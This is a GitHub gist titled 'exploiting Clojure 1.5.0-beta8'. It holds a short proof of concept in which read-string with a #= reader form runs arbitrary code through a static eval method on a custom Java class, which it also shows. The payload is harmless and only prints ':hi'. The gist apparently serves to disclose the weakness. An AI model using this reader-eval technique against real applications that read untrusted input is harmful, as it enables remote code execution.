Skip to content

Instantly share code, notes, and snippets.

@cemerick
Created February 5, 2013 16:46
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save cemerick/4715727 to your computer and use it in GitHub Desktop.
Save cemerick/4715727 to your computer and use it in GitHub Desktop.
exploiting Clojure 1.5.0-beta8
=> (read-string "#=(cemerick.SomeMap/eval (println :hi))")
:hi
nil
package cemerick;
public class SomeMap extends clojure.lang.PersistentArrayMap {
public static Object eval (Object form) {
return clojure.lang.Compiler.eval(form);
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment